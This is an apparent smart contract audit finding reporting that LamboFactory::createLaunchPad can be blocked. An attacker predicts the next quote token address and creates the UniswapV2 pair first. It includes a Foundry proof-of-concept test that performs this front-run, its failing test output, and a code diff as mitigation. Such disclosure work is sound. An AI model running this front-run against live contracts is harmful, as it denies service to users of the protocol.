//
Attacker can prevent creation of new launchpads by creating the pool on UniswapV2 Factory
rouhsamad profile imagerouhsamad
High

Finding description and impact

LamboFactory::createLaunchPad calls createPair function on uniswapV2Factory to create a pool for qouteToken (created via Clone library) and virtualLiquidityToken.

pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).createPair(virtualLiquidityToken, quoteToken);

this is the implementation of createPair:

function createPair(address tokenA, address tokenB) external returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); //@audit-High: ensure that this pool does not exist!!!! require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient //rest of the code... }

The issue here is that, since address of new quoteToken is predictable (using nonce and address of LamboFactory), an attacker can easily create a pool using qouteToken address and virtualLiquidityToken prior to LamboFactory::createLaunchPad and prevent new pool from being created.

Proof of Concept

paste this code into GeneralTest.t.sol and then run:
forge test --match-test test_ddos_create_pool
Code:

function test_ddos_create_pool() public { //attacker address address attacker = makeAddr("Attacker"); //calculate quote token uint nonce = vm.getNonce(address(factory)); address qoute_predicted = vm.computeCreateAddress( address(factory), nonce ); vm.startPrank(attacker); //create the pair here IPoolFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair( qoute_predicted, address(vETH) ); vm.stopPrank(); //victim pool address victim = makeAddr("Victim"); vm.startPrank(victim); //Can't do this, because pool is already created (address quoteToken2, address pool2) = factory.createLaunchPad( "LamboToken", "LAMBO", 200 ether, address(vETH) ); vm.stopPrank(); }

Result:

Ran 1 test for test/GeneralTest.t.sol:GeneralTest [FAIL: revert: UniswapV2: PAIR_EXISTS] test_ddos_create_pool() (gas: 2651936) Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.42s (1.04s CPU time) Ran 1 test suite in 3.42s (3.42s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests) Failing tests: Encountered 1 failing test in test/GeneralTest.t.sol:GeneralTest [FAIL: revert: UniswapV2: PAIR_EXISTS] test_ddos_create_pool() (gas: 2651936) Encountered a total of 1 failing tests, 0 tests succeeded

Recommended mitigation steps

Get pool address if its already created:

function createLaunchPad( string memory name, string memory tickname, uint256 virtualLiquidityAmount, address virtualLiquidityToken ) public onlyWhiteListed(virtualLiquidityToken) nonReentrant returns (address quoteToken, address pool) { //create the token here for the qoute token quoteToken = _deployLamboToken(name, tickname); - //create the pool for this coins - pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).createPair(virtualLiquidityToken, quoteToken); + pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).getPair(virtualLiquidityToken, quoteToken); + if(pool == address(0)) { + pool = IPoolFactory(LaunchPadUtils.UNISWAP_POOL_FACTORY_).createPair(virtualLiquidityToken, quoteToken); + } VirtualToken(virtualLiquidityToken).takeLoan(pool, virtualLiquidityAmount); IERC20(quoteToken).safeTransfer(pool, LaunchPadUtils.TOTAL_AMOUNT_OF_QUOTE_TOKEN); // Directly minting to address(0) will cause Dexscreener to not display LP being burned // So, we have to mint to address(this), then send it to address(0). IPool(pool).mint(address(this)); IERC20(pool).safeTransfer(address(0), IERC20(pool).balanceOf(address(this))); emit PoolCreated(virtualLiquidityToken, quoteToken, pool, virtualLiquidityAmount); }

Links to affected code